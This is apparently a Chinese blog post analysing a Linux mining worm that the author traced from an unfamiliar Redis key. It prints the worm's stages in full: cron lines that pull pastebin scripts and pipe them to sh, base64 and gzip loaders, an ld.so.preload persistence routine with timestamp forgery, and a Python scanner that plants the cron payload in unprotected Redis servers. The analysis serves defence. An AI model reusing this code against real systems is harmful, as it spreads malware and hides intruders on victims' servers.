# 起因

偶然间发现redis里有一个陌生key:`tightsoft`,它的值是:`*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh`
看key名就知道这肯定不是我们存的,再看value我警觉了,这是要定时执行脚本啊。

起因

偶然间发现redis里有一个陌生key:tightsoft,它的值是:*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
看key名就知道这肯定不是我们存的,再看value我警觉了,这是要定时执行脚本啊。

分析

于是我便开始逐层拨开它的面纱,脚本的内容是来源于https://pastebin.com/raw/xbY7p5Tb,把它下载到本地后查看是这样的:
/usr/bin/curl -fsSL https://pastebin.com/raw/XqwCz5rc|base64 -d > /bin/ntpder && chmod 755 /bin/ntpder && /bin/ntpder && rm -rf /bin/ntpder

又是一层远程下载并执行脚本,不过这次是加密的,脚本的意思是从https://pastebin.com/raw/XqwCz5rc下载base64编码后的脚本然后再还原,再写入到/bin/ntpder并执行,最后删除掉/bin/ntpder。
https://pastebin.com/raw/XqwCz5rc还原后的代码片段是这样的:

#!/bin/sh
skip=44

tab=\'   \'
nl=\'
\'
IFS=" $tab$nl"

umask=`umask`
umask 77

gztmpdir=
trap \'res=$?
  test -n "$gztmpdir" && rm -fr "$gztmpdir"
  (exit $res); exit $res
\' 0 1 2 3 5 10 13 15

if type mktemp >/dev/null 2>&1; then
  gztmpdir=`mktemp -dt`
else
  gztmpdir=/tmp/gztmp$$; mkdir $gztmpdir
fi || { (exit 127); exit 127; }

gztmp=$gztmpdir/$0
case $0 in
-* | */*\'
\') mkdir -p "$gztmp" && rm -r "$gztmp";;
*/*) gztmp=$gztmpdir/`basename "$0"`;;
esac || { (exit 127); exit 127; }

case `echo X | tail -n +1 2>/dev/null` in
X) tail_n=-n;;
*) tail_n=;;
esac
if tail $tail_n +$skip <"$0" | gzip -cd > "$gztmp"; then
  umask $umask
  chmod 700 "$gztmp"
  (sleep 5; rm -fr "$gztmpdir") 2>/dev/null &
  "$gztmp" ${1+"$@"}; res=$?
else
  echo >&2 "Cannot decompress $0"
  (exit 127); res=127
fi; exit $res
从这里开始是二进制的gzip打包后的数据

脚本的大概意思是将它后面附加的gzip解压得到另一个脚本文件并执行,解压后的代码片段为:

#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

function kills() {
rm -f /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk \'{print $7}\'| awk -F\'[/]\' \'{print $1}\' | xargs kill 
此处省略若干行...,用于清理之前的进程及文件
}

//保障被杀后还能再次执行
function system() {
        if [ ! -f "/bin/httpdns" ]; then
                curl -fsSL https://pastebin.com/raw/698D7kZU -o /bin/httpdns && chmod 755 /bin/httpdns
                if [ ! -f "/bin/httpdns" ]; then
                        wget  https://pastebin.com/raw/698D7kZU -O /bin/httpdns && chmod 755 /bin/httpdns
                fi
                if [ ! -f "/etc/crontab" ]; then
                        echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
                else
                        sed -i \'$d\' /etc/crontab && echo -e "0 2 * * * root /bin/httpdns" >> /etc/crontab
                fi
        fi
}

//这是病毒的核心代码,下载的是一个二进制的可执行文件,里面干了什么就得得而知了
function top() {
        if [ ! -f "/usr/local/lib/libntp.so" ]; then
                curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
                if [ ! -f "/usr/local/lib/libntp.so" ]; then
                        wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
                fi
        fi
        if [ ! -f "/etc/ld.so.preload" ]; then
                echo /usr/local/lib/libntp.so > /etc/ld.so.preload
        else
                sed -i \'$d\' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
        fi
        touch -acmr /bin/sh /etc/ld.so.preload
        touch -acmr /bin/sh /usr/local/lib/libjdk.so
        touch -acmr /bin/sh /usr/local/lib/libntp.so
}

//这是用python写的一段脚本,用于传播到其它机器
function python() {
        nohup python -c "import base64;exec(base64.b64decode(\'I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz\'))" >/dev/null 2>&1 &
        touch /tmp/.tmp
}

此处省略若干行...
后面还有下载运行、版本更新等功能,就不一一展开了

重点说一下redis传播这块,希望大家能提高警戒,上面python那一段也是先base64解码后再执行,也是二层下载,中间层就不说了,最终展开后的代码是这样的:

#! /usr/bin/env python
#coding: utf-8

import threading
import socket
from re import findall
import httplib

IP_LIST = []

class scanner(threading.Thread):
    tlist = []
    maxthreads = 100
    evnt = threading.Event()
    lck = threading.Lock()

    def __init__(self,host):
        threading.Thread.__init__(self)
        self.host = host
    def run(self):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(5)
            s.connect((self.host, 6379))
            s.send(\'set tightsoft "\\n\\n\\n*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n\')
            s.send(\'config set dir /etc/cron.d\r\n\')
            s.send(\'config set dbfilename root\r\n\')
            s.send(\'save\r\n\')
            s.close()
        except Exception:
            pass
 此处省略若干行...

它尝试连接没有设置密码的redis服务器,并写入一个key tightsoft, 至此就找到了这个key产生的原因,至少咋来的,可能是通过其它机器感染的就不知而知了。

版权声明:本文为mondol原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/mondol/p/9592056.html